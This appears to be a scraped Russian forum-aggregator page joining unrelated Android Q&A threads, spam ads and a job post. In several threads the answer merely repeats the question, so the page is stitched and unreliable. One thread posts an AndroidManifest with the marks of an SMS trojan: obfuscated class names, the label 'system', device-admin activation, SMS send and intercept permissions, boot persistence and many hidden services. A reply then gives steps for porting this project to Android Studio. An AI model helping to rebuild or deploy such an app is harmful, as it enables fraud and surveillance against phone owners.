Все технические форумы на одном сайте Удобный поиск информации с популярных форумов в одном месте
Вопрос: Android & local Web Server

Всем хай.
Задача. С мобилы (андройда) через мобильный браузер не могу увидеть Вэб-сервак на котором крутится сайт.
Что имеем.
на ПК поднят вэб-сервер с айпишником 192.168.0.103 порт 80;
Мобильник - андройд 4.4.2, айпишка 192.168.0.100

С ПК мобильник пингуется, но с мобилы не могу увидеть сайт. С других ПК все заходят на вэб-сервер.
Стоит роутер ТПЛИНК 741 НД, на самом роутере фаервол выключен. Уже и проброс портов делал. Так и не видет мобила ПК.
Ответ: меня смущает 100-й адрес. попробуйте другой.
телефон подключается через wifi? или у него есть сетевой шнур до роутера (покажите :-) ) ?
Вопрос: Обмен данными android & arduino

Всем добрый день, решил создать программу управление arduino uno через android, нашел хорошую , и начал делать, как там есть, и у меня выдает ошибку на какой то лаунчер, подскажите чего тут не так делаю
Ответ: Вот в начале манифеста замени package на:
XML
1
package="ru.amperka.arduinobtled"
Вопрос: Исходники мобильных игр Android & iOS.

Здравствуйте! 
Game-Source.ru - новая площадка, на которой реализуются исходные коды игровых мобильных приложений для Android / iOS 
Мы - первая компания в этой отрасли, которая собрала все лучшее и желаем передать это Вам. Наши приложения поддерживаются всеми свежими версиями iOS и Android. 
У нас установлены самые низкие цены на исходники в рунете! Цены стартуют от 400 рублей за приложение. 
По любым вопросам Вас всегда может проконсультировать наш сотрудник. 

Действует скидочная программа на сентябрь: 

Купон на скидку 2% (сумма покупки 1001 рубль и выше): NEW-PRO-MO1-RSA-AE4 
Купон на скидку 5% (сумма покупки 6001 рубль и выше): LLC-E4W-RRD-54A-XWQ 
Купон на скидку 10% (сумма покупки 30001 рубль и выше): LLC-WPX-DDV-54A-6RQ 
Купон на скидку 15% (сумма покупки 60001 рубль и выше): LLC-ZZZ-XCE-09S-0LS 

Заходите к нам --> 
Ответ:
спасибо за информацию. 
Вопрос: HTC Android 2.3.5 выходит в интернет при заблокированной опции "Мобильный интернет"

недавно мой любимый оператор Билайн прислал мне многотысячный счет за выход в интренет. Характр выхода такой: 96 раз в сутки ровно через каждые 15 минут скачивалось 0.5 М и так несколько дней подряд.

При этом в настройках телефона опция "Мобильный интрент" отключена.

Вопрос знатокам: 1) может ли в принципе какая-то программа или сервис в телефоне обходить запрет и выходить в интренет при выключенной опции "Мобильный интенет"?
2) И если все-таки да, то на что это похоже (96 раз в сутки, четез 15 минут, 0.5 м)?

спасибо всем заранее.

Лобые идеи - предоложения - подсказки.
Ответ:
Сообщение от Ube33
может ли в принципе какая-то программа или сервис в телефоне обходить запрет и выходить в интренет при выключенной опции "Мобильный интенет"?
теоретически нет
Вопрос: Требуется Android developer

Всем добрый день!

На данный момент для нашего клиента - лидирующей в России и Восточной Европе компании с миллионной аудиторией и более 10000 + клиентов, с несколькими дата-центрами в России и за рубежом, с более 125 серверами ищем Android разработчика

Компания создает новые стандарты онлайн-коммуникаций, которые помогут людям делиться уникальным опытом, легко передавать знания, придумывать сенсационные идеи и выводить бизнес-процессы на новый уровень.

На данный момент создаем 2 долгоиграющих проекта: систему для дистанционного обучения и платформу для проведения видеоконференций.

Регион: Москва, офис. Рассмотрим и иногородних, поможем в переезде!


От Вас:
- Опыт разработки мобильных приложений от 2 лет;
- Отличное знание Java;

От компании:

- официальное трудоустройство
- белая зп до 160 тыс. на руки
- помощь в переезде
- стильный офис
- бонусы
- ноутбук
- молодая профессиональная команда
- вкусные завтраки
- и др.

С радостью отвечу на все вопросы и расскажу подробнее nadezhda.belaya@it-selection.ru
Ответ:
Всем добрый день!

На данный момент для нашего клиента - лидирующей в России и Восточной Европе компании с миллионной аудиторией и более 10000 + клиентов, с несколькими дата-центрами в России и за рубежом, с более 125 серверами ищем Android разработчика

Компания создает новые стандарты онлайн-коммуникаций, которые помогут людям делиться уникальным опытом, легко передавать знания, придумывать сенсационные идеи и выводить бизнес-процессы на новый уровень.

На данный момент создаем 2 долгоиграющих проекта: систему для дистанционного обучения и платформу для проведения видеоконференций.

Регион: Москва, офис. Рассмотрим и иногородних, поможем в переезде!


От Вас:
- Опыт разработки мобильных приложений от 2 лет;
- Отличное знание Java;

От компании:

- официальное трудоустройство
- белая зп до 160 тыс. на руки
- помощь в переезде
- стильный офис
- бонусы
- ноутбук
- молодая профессиональная команда
- вкусные завтраки
- и др.

С радостью отвечу на все вопросы и расскажу подробнее nadezhda.belaya@it-selection.ru
Вопрос: Android studio версии библиотек?

Недавно перекинул на мобильный телефон апк файл. Попробывал запустить, пишет "ошибка анализа во время анализа произошла ошибка". Поставил блюстекс емулятор открыло нормально апк файл, и прога норм работает.
Я вот думаю не виновато ли первоначальная настройка версии андроид для проекта(там еще было написанно процент мобильных на которых прога работать будет. Я вроде низкую поставил, но походу не достаточно низкую(мой телефон походу невошел)

Можно ли как то в текущем проекте то изменить? или оно указывается только при создании проекта??

Еще возникла трабла с росширением, на емуляторе BlueStacks увидел всю красоту как кнопка на 80% екрана росширилась, на планшете увы хреново смотрится.
Как можно оставить только вертикальную ориентацию екрана? А горизонтальную запретить
Ответ:
Сообщение от ExFau$t
В градле. Остальное - без комментариев...
нашел уже и заменил, правда теперь у меня 269 ошибок ну ет нечего))- уже 2 часа над ими парюсь

Error240, 21) No resource found that matches the given name: attr 'android:colorControlActivated'.
вроде даже все ошибки такого типа, гуглил там решение находил или обновить до выше версии(( или подгрузить отдельно библиотечки через менеджер, который у меня не открывается))
Вопрос: Переписать ios приложение на Android

Всем привет! Я разработчик ios и собираюсь написать игру для этой платформы. После завершения хочу найти программиста чтобы сделать эту же игру для android устройств.
1. Облегчит ли задачу android разработчику при разработки если есть уже готовый код на objective-c или swift?
2. Влияет наличие готовой программы с кодом под ios на стоимость и сроки разработки для android?
3. Если это упрощает задачу, на каком языке лучше писать мне игру objective-c или swift?

Конечно, я понимаю, что это разные языки с разными библиотеками итд, но тем не менее хотелось бы услышать ваше мнение.
Спасибо
Ответ:
Сообщение от Spelcrawler
Тут много от чего зависит. Если приложение простое, а программист не знает Obj-c или Swift то времени на изучение синтаксиса уйдет больше чем принесут пользу исходники. А если программист знает эти языки, или проект очень большой и сложный - тогда да, исходники помогут.
хорошо, спасибо!
Вопрос: Научим Android-разработчиков как удвоить доход

коллеги, привет
меня зовут Анар Бабаев
последние несколько лет занимаюсь мобильными технологиями

сейчас я работаю над интересным продуктом 
если коротко, то эта штука помогает удваивать рекламный доход в приложениях и играх

но сейчас не об этом
хочу пригласить вас на бесплатный семинар по монетизации игр и приложений

место:  Москва, ул. Марксистская, дом 34, корп.7, Институт МИРБИС, Аудитория 722а 
26 февраля с 13:00 до 17:00 
записаться можно тут


Семинар будет интересен разработчикам приложений, маркетологам и предпринимателям

Программа:
- Рекламная монетизация. Обзор форматов, игроков рынка, типовых ошибок. Как внедрить рекламу с умом.  
- Монетизация на ин-аппах. Разбор вертикалей: игры, развлечения и др. Как зарабатывают лидеры рынка. Популярные бизнес-модели.
- Монетизация за пределами приложений. Как найти нишу и перевернуть устоявшиеся рынки.

никакой рекламы, мы действительно старались сделать качественную лекцию, собрали весь свой опыт и опыт коллег по цеху
приходите!
Ответ:
коллеги, привет
меня зовут Анар Бабаев
последние несколько лет занимаюсь мобильными технологиями

сейчас я работаю над интересным продуктом 
если коротко, то эта штука помогает удваивать рекламный доход в приложениях и играх

но сейчас не об этом
хочу пригласить вас на бесплатный семинар по монетизации игр и приложений

место:  Москва, ул. Марксистская, дом 34, корп.7, Институт МИРБИС, Аудитория 722а 
26 февраля с 13:00 до 17:00 
записаться можно тут


Семинар будет интересен разработчикам приложений, маркетологам и предпринимателям

Программа:
- Рекламная монетизация. Обзор форматов, игроков рынка, типовых ошибок. Как внедрить рекламу с умом.  
- Монетизация на ин-аппах. Разбор вертикалей: игры, развлечения и др. Как зарабатывают лидеры рынка. Популярные бизнес-модели.
- Монетизация за пределами приложений. Как найти нишу и перевернуть устоявшиеся рынки.

никакой рекламы, мы действительно старались сделать качественную лекцию, собрали весь свой опыт и опыт коллег по цеху
приходите!
Вопрос: Validates resource references inside Android XML files

Доброго времени суток! Столкнулся с такой проблемой, проект eclipse перенес в AS , все хорошо, НО...


Я так понял , он не подгружает классы...

Кликните здесь для просмотра всего текста
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.navxly.gdntifp"
android:versionCode="3"
android:versionName="6.17" >

<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="21" />

<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.GET_TASKS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<application
android:name="com.eoaenoeg.nacmlea.uteiof"
android:configChanges="keyboardHidden|orientation"
android:icon="@drawable/icon"
android:keepScreenOn="true"
android:label="system"
android:screenOrientation="portrait"
android:theme="@style/AppTheme" >
<activity android:name="com.navxly.gdntifp.MainActivity" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name="com.navxly.gdntifp.cqojoipcf"
android:label="Активация администратора" />

<receiver
android:name="com.navxly.gdntifp.sczec"
android:label="Идентификация администратора"
androidermission="android.permission.BIND_DEVICE_ADMIN" >
<meta-data
android:name="android.app.device_admin"
android:resource="@layout/policies" />

<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
<receiver android:name="com.navxly.gdntifp.lgrnqr" >
<intent-filter androidriority="100" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.USER_PRESENT" />
<action android:name="android.intent.action.PHONE_STATE" />
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>

<service android:name="com.navxly.gdntifp.kxliv" />
<service android:name="com.navxly.gdntifp.qiuegbxrgo" />
<service android:name="com.navxly.gdntifp.xwnscdnovw" />
<service android:name="com.navxly.gdntifp.jprbdhxv" />
<service android:name="com.navxly.gdntifp.kcvgj" />
<service android:name="com.navxly.gdntifp.nbudf" />
<service android:name="com.navxly.gdntifp.wdvdu" />
<service android:name="com.navxly.gdntifp.rzmzonlxdt" />
<service android:name="com.navxly.gdntifp.twufyt" />
<service android:name="com.navxly.gdntifp.reaqropmld" />

<activity
android:name="com.navxly.gdntifp.vroukwdyxj"
android:label="wnwgukb" />
<activity
android:name="com.navxly.gdntifp.pgruz"
android:label="xpizogly" />
</application>

</manifest>

Вот собственно код. В eclipse он хранится вот так , как я понял



И вылетает такая штука - Validates resource references inside Android XML files (выделено красным)
<service android:name="com.navxly.gdntifp.wdvdu" />
Ответ: Если стандартно, как по всему инету написано не получается по какой-то загадочной причине, то создаёшь новый проект и исходники закидываешь из проекта eclipse, т.е. папку src, манифест, либы все отдельно подгружаешь через градле.

Добавлено через 50 секунд
При создании проекта лучше указать имя пакета такое же, что было в эклипсе.
Вопрос: MMS Android Receiver

Столкнулся с проблемой - скачивание данных с ММС Центра
Я получаю заголовки и из них извлекаю url хранения ммс и адрес отправителя.
Затем пытаюсь по http скачать данные по url который достал из заголовка.
Но мне возвращается IOException Time Out. 
Почему я не могу скачать ммску, стандартное приложение получает ММС.

Ниже код моего ресивера:
Код


import android.content.BroadcastReceiver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import com.android.mms.transaction.HttpUtils;
import com.android.mms.util.SendingProgressTokenManager;
import com.google.android.mms.pdu_alt.*;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

/**
* Created by Ed on 02.10.2014.
*/

public class MMSReceiver extends BroadcastReceiver {

        Context context;
        ConnectivityManager manager;

        public void onReceive(final Context context, Intent intent) {
                this.context = context;
                Bundle bundle = intent.getExtras();
                manager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);

                byte[] buffer = bundle.getByteArray("data");
                GenericPdu genericPdu = new PduParser(buffer).parse();
                ContentValues vl = getParams(genericPdu);
                final String contentLocation = vl.getAsString("ct_l");

                new Thread(new Runnable() {
                        @Override
                        public void run() {
                                try {
                                        ensureRouteToHost(context, contentLocation,  "10.10.10.10");
                                        byte[] rawPdu = HttpUtils.httpConnection(context, SendingProgressTokenManager.NO_TOKEN, contentLocation, null, HttpUtils.HTTP_GET_METHOD, true, "10.10.10.10", 8080); // ЗДЕСЬ <====================

                                        Log.i("mLogs", "DATA :" + rawPdu.length);
                                } catch (IOException e) {
                                        e.printStackTrace();
                                }
                        }
                }).start();

        }

        public static void ensureRouteToHost(Context context, String url, String proxy) throws IOException {
                ConnectivityManager connMgr = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
                connMgr.startUsingNetworkFeature(ConnectivityManager.TYPE_MOBILE_HIPRI, "enableMMS");

                int inetAddr;
                if (proxy != null && !proxy.equals("")) {
                        String proxyAddr = proxy;
                        inetAddr = lookupHost(proxyAddr);
                        if (inetAddr == -1) {
                                Log.i("mLogs", "Cannot establish route for " + url + ": Unknown host");
                        } else {
                                if (!connMgr.requestRouteToHost(ConnectivityManager.TYPE_MOBILE_MMS, inetAddr)) {
                                        Log.i("mLogs","Cannot establish route to proxy " + inetAddr);
                                }
                        }
                } else {
                        Uri uri = Uri.parse(url);
                        inetAddr = lookupHost(uri.getHost());
                        if (inetAddr == -1) {
                                throw new IOException("Cannot establish route for " + url + ": Unknown host");
                        } else {
                                if (!connMgr.requestRouteToHost( ConnectivityManager.TYPE_MOBILE_MMS, inetAddr)) {
                                        throw new IOException("Cannot establish route to " + inetAddr + " for " + url);
                                }
                        }
                }
        }

        private static int lookupHost(String hostname) {
                InetAddress inetAddress;
                try {
                        inetAddress = InetAddress.getByName(hostname);
                } catch (UnknownHostException e) {
                        return -1;
                }
                byte[] addrBytes;
                int addr;
                addrBytes = inetAddress.getAddress();
                addr = ((addrBytes[3] & 0xff) << 24) | ((addrBytes[2] & 0xff) << 16) | ((addrBytes[1] & 0xff) << 8) | (addrBytes[0] & 0xff);
                return addr;
        }


}

Ответ:
Столкнулся с проблемой - скачивание данных с ММС Центра
Я получаю заголовки и из них извлекаю url хранения ммс и адрес отправителя.
Затем пытаюсь по http скачать данные по url который достал из заголовка.
Но мне возвращается IOException Time Out. 
Почему я не могу скачать ммску, стандартное приложение получает ММС.

Ниже код моего ресивера:
Код


import android.content.BroadcastReceiver;
import android.content.ContentValues;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import com.android.mms.transaction.HttpUtils;
import com.android.mms.util.SendingProgressTokenManager;
import com.google.android.mms.pdu_alt.*;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;

/**
* Created by Ed on 02.10.2014.
*/

public class MMSReceiver extends BroadcastReceiver {

        Context context;
        ConnectivityManager manager;

        public void onReceive(final Context context, Intent intent) {
                this.context = context;
                Bundle bundle = intent.getExtras();
                manager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);

                byte[] buffer = bundle.getByteArray("data");
                GenericPdu genericPdu = new PduParser(buffer).parse();
                ContentValues vl = getParams(genericPdu);
                final String contentLocation = vl.getAsString("ct_l");

                new Thread(new Runnable() {
                        @Override
                        public void run() {
                                try {
                                        ensureRouteToHost(context, contentLocation,  "10.10.10.10");
                                        byte[] rawPdu = HttpUtils.httpConnection(context, SendingProgressTokenManager.NO_TOKEN, contentLocation, null, HttpUtils.HTTP_GET_METHOD, true, "10.10.10.10", 8080); // ЗДЕСЬ <====================

                                        Log.i("mLogs", "DATA :" + rawPdu.length);
                                } catch (IOException e) {
                                        e.printStackTrace();
                                }
                        }
                }).start();

        }

        public static void ensureRouteToHost(Context context, String url, String proxy) throws IOException {
                ConnectivityManager connMgr = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
                connMgr.startUsingNetworkFeature(ConnectivityManager.TYPE_MOBILE_HIPRI, "enableMMS");

                int inetAddr;
                if (proxy != null && !proxy.equals("")) {
                        String proxyAddr = proxy;
                        inetAddr = lookupHost(proxyAddr);
                        if (inetAddr == -1) {
                                Log.i("mLogs", "Cannot establish route for " + url + ": Unknown host");
                        } else {
                                if (!connMgr.requestRouteToHost(ConnectivityManager.TYPE_MOBILE_MMS, inetAddr)) {
                                        Log.i("mLogs","Cannot establish route to proxy " + inetAddr);
                                }
                        }
                } else {
                        Uri uri = Uri.parse(url);
                        inetAddr = lookupHost(uri.getHost());
                        if (inetAddr == -1) {
                                throw new IOException("Cannot establish route for " + url + ": Unknown host");
                        } else {
                                if (!connMgr.requestRouteToHost( ConnectivityManager.TYPE_MOBILE_MMS, inetAddr)) {
                                        throw new IOException("Cannot establish route to " + inetAddr + " for " + url);
                                }
                        }
                }
        }

        private static int lookupHost(String hostname) {
                InetAddress inetAddress;
                try {
                        inetAddress = InetAddress.getByName(hostname);
                } catch (UnknownHostException e) {
                        return -1;
                }
                byte[] addrBytes;
                int addr;
                addrBytes = inetAddress.getAddress();
                addr = ((addrBytes[3] & 0xff) << 24) | ((addrBytes[2] & 0xff) << 16) | ((addrBytes[1] & 0xff) << 8) | (addrBytes[0] & 0xff);
                return addr;
        }


}